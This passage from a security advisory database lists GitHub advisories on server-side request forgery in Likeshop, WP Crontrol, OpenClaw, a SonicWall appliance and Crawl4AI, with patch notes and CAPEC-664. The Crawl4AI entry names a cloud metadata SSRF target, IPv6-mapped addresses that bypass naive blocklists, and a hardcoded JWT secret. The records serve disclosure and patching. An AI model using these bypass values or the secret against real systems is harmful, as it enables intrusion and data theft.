    "severity": "MODERATE"
  },
  "details": "Server Side Request Forgery (SSRF) vulnerability in Likeshop before 2.5.7 allows attackers to view sensitive information via the avatar parameter in function UserLogic::updateWechatInfo.",
  "id": "GHSA-3537-379x-x582",
  "modified": "2024-11-08T00:30:45Z",
  "published": "2024-03-21T03:36:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24028"
    },
    {
      "type": "WEB",
      "url": "https://thanhlo.substack.com/p/khai-thac-lo-hong-cve-2024-24028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-35C5-67FM-CPCP

Vulnerability from github – Published: 2025-08-19 20:41 – Updated: 2025-08-19 20:41
VLAI
Summary
WP Crontrol Authenticated (Administrator+) plugin vulnerable to Blind Server-Side Request Forgery
Details

Impact

The WP Crontrol plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in versions 1.17.0 to 1.19.1 via the wp_remote_request() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

It is not possible for a user without Administrator level access to exploit this weakness. It is not possible for an Administrator performing an attack to see the HTTP response to the request to their chosen URL, nor is it possible for them to time the response.

Patches

WP Crontrol version 1.19.2 makes the following changes to harden the URL cron event feature:

  • URLs are now validated for safety with the wp_http_validate_url() function upon saving. The user is informed if they save a cron event containing a URL that is not considered safe, and the HTTP request will not trigger when the event runs.
  • HTTP requests are now performed via the wp_safe_remote_request() function in place of wp_remote_request(). This prevents an SSRF being performed.

Workarounds

Update the WP Crontrol plugin for WordPress to version 1.19.2 or later. If you are not able to update immediately, remove any Administrator level users who are not fully trusted.

FAQ

Is my site at risk?

Your site is only at risk if an untrustworthy Administrator on your site decides to exploit this weakness in order to blindly send HTTP requests, either to external URLs or to internal services running on your server. These requests can only be performed asynchronously, which means the HTTP response cannot be seen nor timed, which significantly restricts the practical methods of exploiting this weakness.

Separately, it is not possible for an attacker with database level access on your server to tamper with a URL cron event and perform an SSRF due to the anti-tampering measures built in to WP Crontrol.

Thanks

This issue was identified by Jonas Benjamin Friedli and reported to the Wordfence Intelligence Bug Bounty Program.

Security bugs should be reported through the official WP Crontrol Vulnerability Disclosure Program on Patchstack. The Patchstack team helps validate, triage, and handle any security vulnerabilities.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "johnbillion/wp-crontrol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.19.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-19T20:41:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe WP Crontrol plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in versions 1.17.0 to 1.19.1 via the `wp_remote_request()` function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n\nIt is not possible for a user without Administrator level access to exploit this weakness. It is not possible for an Administrator performing an attack to see the HTTP response to the request to their chosen URL, nor is it possible for them to time the response.\n\n### Patches\n\nWP Crontrol version 1.19.2 makes the following changes to harden the URL cron event feature:\n\n* URLs are now validated for safety with the `wp_http_validate_url()` function upon saving. The user is informed if they save a cron event containing a URL that is not considered safe, and the HTTP request will not trigger when the event runs.\n* HTTP requests are now performed via the `wp_safe_remote_request()` function in place of `wp_remote_request()`. This prevents an SSRF being performed.\n\n### Workarounds\n\nUpdate the WP Crontrol plugin for WordPress to version 1.19.2 or later. If you are not able to update immediately, remove any Administrator level users who are not fully trusted.\n\n### FAQ\n\n#### Is my site at risk?\n\nYour site is only at risk if an untrustworthy Administrator on your site decides to exploit this weakness in order to blindly send HTTP requests, either to external URLs or to internal services running on your server. These requests can only be performed asynchronously, which means the HTTP response cannot be seen nor timed, which significantly restricts the practical methods of exploiting this weakness.\n\nSeparately, it is not possible for an attacker with database level access on your server to tamper with a URL cron event and perform an SSRF due to [the anti-tampering measures built in to WP Crontrol](https://wp-crontrol.com/docs/url-cron-events/).\n\n### Thanks\n\nThis issue was identified by [Jonas Benjamin Friedli](https://github.com/jFriedli) and reported to the Wordfence Intelligence Bug Bounty Program.\n\n[Security bugs should be reported through the official WP Crontrol Vulnerability Disclosure Program on Patchstack](https://patchstack.com/database/vdp/wp-crontrol). The Patchstack team helps validate, triage, and handle any security vulnerabilities.",
  "id": "GHSA-35c5-67fm-cpcp",
  "modified": "2025-08-19T20:41:10Z",
  "published": "2025-08-19T20:41:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/johnbillion/wp-crontrol/security/advisories/GHSA-35c5-67fm-cpcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johnbillion/wp-crontrol/commit/b085bd306588d7a9baed82de37f9d1818deafc44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johnbillion/wp-crontrol"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johnbillion/wp-crontrol/releases/tag/1.19.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WP Crontrol Authenticated (Administrator+) plugin vulnerable to Blind Server-Side Request Forgery"
}

GHSA-35CQ-WV6V-88XF

Vulnerability from github – Published: 2026-03-31 15:31 – Updated: 2026-04-06 22:45
VLAI
Summary
Duplicate Advisory: OpenClaw affected by SSRF via unguarded image download in fal provider
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-qxgf-hmcj-3xw3. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.3.28 contains a server-side request forgery vulnerability in the fal provider image-generation-provider.ts component that allows attackers to fetch internal URLs. A malicious or compromised fal relay can exploit unguarded image download fetches to expose internal service metadata and responses through the image pipeline.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T22:45:57Z",
    "nvd_published_at": "2026-03-31T15:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-qxgf-hmcj-3xw3. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.28 contains a server-side request forgery vulnerability in the fal provider image-generation-provider.ts component that allows attackers to fetch internal URLs. A malicious or compromised fal relay can exploit unguarded image download fetches to expose internal service metadata and responses through the image pipeline.",
  "id": "GHSA-35cq-wv6v-88xf",
  "modified": "2026-04-06T22:45:57Z",
  "published": "2026-03-31T15:31:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qxgf-hmcj-3xw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/80d1e8a11a2ac118c7f7a70bba9c862b6141d928"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-unguarded-image-download-in-fal-provider"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw affected by SSRF via unguarded image download in fal provider",
  "withdrawn": "2026-04-06T22:45:57Z"
}

GHSA-35RC-2VCV-R6Q5

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. A remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T20:16:56Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. A remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
  "id": "GHSA-35rc-2vcv-r6q5",
  "modified": "2026-07-14T21:32:16Z",
  "published": "2026-07-14T21:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15409"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-365W-HQF6-VXFG

Vulnerability from github – Published: 2026-06-16 20:13 – Updated: 2026-07-21 15:02
VLAI
Summary
Crawl4AI: Multiple Docker API Vulnerabilities - File Write, SSRF, Auth Bypass, XSS, JS Execution
Details

Summary

Multiple security vulnerabilities in the Crawl4AI Docker API server affecting endpoints for crawling, markdown/LLM extraction, screenshots, PDFs, webhooks, monitoring, JavaScript execution, and configuration.

Vulnerabilities

1. Arbitrary File Write via /screenshot and /pdf (CWE-22, CVSS 9.1)

The output_path parameter accepts arbitrary filesystem paths with no validation. An attacker can overwrite server files (DoS) or write to any appuser-writable location.

Fix: Added validate_output_path() restricting writes to CRAWL4AI_OUTPUT_DIR (/tmp/crawl4ai-outputs by default). Added Pydantic field_validator rejecting .. traversal sequences.

2. SSRF via Webhook URL (CWE-918, CVSS 8.6)

Webhook URLs in /crawl/job and /llm/job accept internal/private IPs with no validation, enabling Server-Side Request Forgery against cloud metadata endpoints (169.254.169.254), internal services, and Docker networks.

Fix: Added validate_webhook_url() with blocklist for RFC 1918, loopback, link-local, cloud metadata IPs and hostnames. Validation at both job submission and send time. Explicit follow_redirects=False.

3. Authentication Bypass on Monitor Endpoints (CWE-306, CVSS 6.5)

The monitor router was mounted without token_dep dependency, making all monitoring endpoints (including destructive ones like /monitor/actions/cleanup) accessible without authentication.

Fix: Added dependencies=[Depends(token_dep)] to monitor router. Added explicit token check on WebSocket /monitor/ws endpoint.

4. Stored XSS in Monitor Dashboard (CWE-79, CVSS 6.1)

URLs and error messages rendered in the monitor dashboard via innerHTML without escaping, enabling stored XSS via crafted crawl URLs.

Fix: Server-side html.escape() on URL and error storage. Client-side escapeHtml() wrapper on all innerHTML template injections.

5. Arbitrary JavaScript Execution via /execute_js (CWE-94, CVSS 8.1)

The /execute_js endpoint accepts and executes arbitrary JavaScript in the server's browser with --disable-web-security enabled, combining arbitrary JS execution with SSRF capability.

Fix: Disabled by default via CRAWL4AI_EXECUTE_JS_ENABLED env var. Added SSRF blocklist on destination URL. Removed --disable-web-security from default browser args.

6. Hardcoded JWT Secret Key (CWE-798, CVSS 9.8)

The JWT signing key defaults to "mysecret" in the public source code, allowing anyone to forge valid authentication tokens.

Fix: Removed default value. Added startup validation rejecting weak/short secrets. Auto-generates ephemeral key when JWT enabled but no key set.

7. SSRF via Direct Crawl Endpoints /crawl, /md, /llm (CWE-918, CVSS 8.6)

The primary crawl entry points (/crawl, /crawl/stream, /md, /llm) fetch arbitrary user-supplied URLs with no destination validation, enabling Server-Side Request Forgery against internal services, Docker networks, and cloud metadata endpoints (169.254.169.254). A blocklist that only inspects the literal hostname is additionally bypassable via IPv6-mapped IPv4 addresses (e.g. [::ffff:169.254.169.254], [::ffff:10.0.0.1]), which resolve to the blocked private/metadata ranges but evade a naive string check.

Fix: Added URL destination validation on all crawl/md/llm entry points, reusing the SSRF blocklist (RFC 1918, loopback, link-local, cloud-metadata IPs and hostnames). IPv6-mapped IPv4 addresses are normalized to their IPv4 form before the blocklist check, closing the mapping bypass. raw:// URLs are skipped. Validation applies at request entry, not only at fetch time.

Workarounds

  1. Upgrade to the patched version (recommended)
  2. Set CRAWL4AI_API_TOKEN to enable authentication
  3. Set a strong SECRET_KEY (min 32 chars) if using JWT
  4. Restrict network access to the Docker API

Credits

  • Jeongbean Jeon - file write, SSRF, monitor auth bypass, stored XSS
  • wulonchia - file write via output_path (independent report)
  • by111 (August829) - hardcoded JWT, eval in /config/dump, /execute_js, hook sandbox escape
  • secsys_codex - SSRF via /md, /crawl, /llm endpoints + IPv6-mapped IPv4 bypass (URL destination validation)
  • Velayutham Selvaraj (LinkedIn) - SSRF via missing host validation in validate_url_scheme (independent report)
  • IcySun & Yashon - SSRF, arbitrary file write, missing-auth-by-default, hook sandbox bypass via asyncio (independent report)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "crawl4ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-306",
      "CWE-79",
      "CWE-798",
      "CWE-918",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T20:13:30Z",
    "nvd_published_at": "2026-06-22T22:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nMultiple security vulnerabilities in the Crawl4AI Docker API server affecting endpoints for crawling, markdown/LLM extraction, screenshots, PDFs, webhooks, monitoring, JavaScript execution, and configuration.\n\n### Vulnerabilities\n\n#### 1. Arbitrary File Write via /screenshot and /pdf (CWE-22, CVSS 9.1)\n\nThe `output_path` parameter accepts arbitrary filesystem paths with no validation. An attacker can overwrite server files (DoS) or write to any appuser-writable location.\n\n**Fix:** Added `validate_output_path()` restricting writes to `CRAWL4AI_OUTPUT_DIR` (/tmp/crawl4ai-outputs by default). Added Pydantic `field_validator` rejecting `..` traversal sequences.\n\n#### 2. SSRF via Webhook URL (CWE-918, CVSS 8.6)\n\nWebhook URLs in `/crawl/job` and `/llm/job` accept internal/private IPs with no validation, enabling Server-Side Request Forgery against cloud metadata endpoints (169.254.169.254), internal services, and Docker networks.\n\n**Fix:** Added `validate_webhook_url()` with blocklist for RFC 1918, loopback, link-local, cloud metadata IPs and hostnames. Validation at both job submission and send time. Explicit `follow_redirects=False`.\n\n#### 3. Authentication Bypass on Monitor Endpoints (CWE-306, CVSS 6.5)\n\nThe monitor router was mounted without `token_dep` dependency, making all monitoring endpoints (including destructive ones like `/monitor/actions/cleanup`) accessible without authentication.\n\n**Fix:** Added `dependencies=[Depends(token_dep)]` to monitor router. Added explicit token check on WebSocket `/monitor/ws` endpoint.\n\n#### 4. Stored XSS in Monitor Dashboard (CWE-79, CVSS 6.1)\n\nURLs and error messages rendered in the monitor dashboard via `innerHTML` without escaping, enabling stored XSS via crafted crawl URLs.\n\n**Fix:** Server-side `html.escape()` on URL and error storage. Client-side `escapeHtml()` wrapper on all `innerHTML` template injections.\n\n#### 5. Arbitrary JavaScript Execution via /execute_js (CWE-94, CVSS 8.1)\n\nThe `/execute_js` endpoint accepts and executes arbitrary JavaScript in the server\u0027s browser with `--disable-web-security` enabled, combining arbitrary JS execution with SSRF capability.\n\n**Fix:** Disabled by default via `CRAWL4AI_EXECUTE_JS_ENABLED` env var. Added SSRF blocklist on destination URL. Removed `--disable-web-security` from default browser args.\n\n#### 6. Hardcoded JWT Secret Key (CWE-798, CVSS 9.8)\n\nThe JWT signing key defaults to `\"mysecret\"` in the public source code, allowing anyone to forge valid authentication tokens.\n\n**Fix:** Removed default value. Added startup validation rejecting weak/short secrets. Auto-generates ephemeral key when JWT enabled but no key set.\n\n#### 7. SSRF via Direct Crawl Endpoints /crawl, /md, /llm (CWE-918, CVSS 8.6)\n\nThe primary crawl entry points (`/crawl`, `/crawl/stream`, `/md`, `/llm`) fetch arbitrary user-supplied URLs with no destination validation, enabling Server-Side Request Forgery against internal services, Docker networks, and cloud metadata endpoints (169.254.169.254). A blocklist that only inspects the literal hostname is additionally bypassable via IPv6-mapped IPv4 addresses (e.g. `[::ffff:169.254.169.254]`, `[::ffff:10.0.0.1]`), which resolve to the blocked private/metadata ranges but evade a naive string check.\n\n**Fix:** Added URL destination validation on all crawl/md/llm entry points, reusing the SSRF blocklist (RFC 1918, loopback, link-local, cloud-metadata IPs and hostnames). IPv6-mapped IPv4 addresses are normalized to their IPv4 form before the blocklist check, closing the mapping bypass. `raw://` URLs are skipped. Validation applies at request entry, not only at fetch time.\n\n### Workarounds\n\n1. Upgrade to the patched version (recommended)\n2. Set `CRAWL4AI_API_TOKEN` to enable authentication\n3. Set a strong `SECRET_KEY` (min 32 chars) if using JWT\n4. Restrict network access to the Docker API\n\n### Credits\n\n- Jeongbean Jeon - file write, SSRF, monitor auth bypass, stored XSS\n- wulonchia - file write via output_path (independent report)\n- by111 ([August829](https://github.com/August829)) - hardcoded JWT, eval in /config/dump, /execute_js, hook sandbox escape\n- secsys_codex - SSRF via /md, /crawl, /llm endpoints + IPv6-mapped IPv4 bypass (URL destination validation)\n- Velayutham Selvaraj ([LinkedIn](https://www.linkedin.com/in/velayuthamselvaraj)) - SSRF via missing host validation in validate_url_scheme (independent report)\n- IcySun \u0026 Yashon - SSRF, arbitrary file write, missing-auth-by-default, hook sandbox bypass via asyncio (independent report)",
  "id": "GHSA-365w-hqf6-vxfg",
  "modified": "2026-07-21T15:02:05Z",
  "published": "2026-06-16T20:13:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56266"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-unauthenticated-access-to-monitor-endpoints-via-docker-api-server"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-stored-cross-site-scripting-in-monitor-dashboard"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-server-side-request-forgery-via-webhook-urls"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-server-side-request-forgery-via-direct-crawl-endpoints"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-javascript-execution-via-execute-js-endpoint"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-file-write-via-output-path-parameter"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unclecode/crawl4ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-798.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-596.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-3449.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-3443.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-239.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-230.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-229.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xrfj-6m49-wfmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g2pv-76hm-j4x9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8qrg-7j2f-rf2h"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-53rg-46cm-4g2v"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crawl4AI: Multiple Docker API Vulnerabilities - File Write, SSRF, Auth Bypass, XSS, JS Execution"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.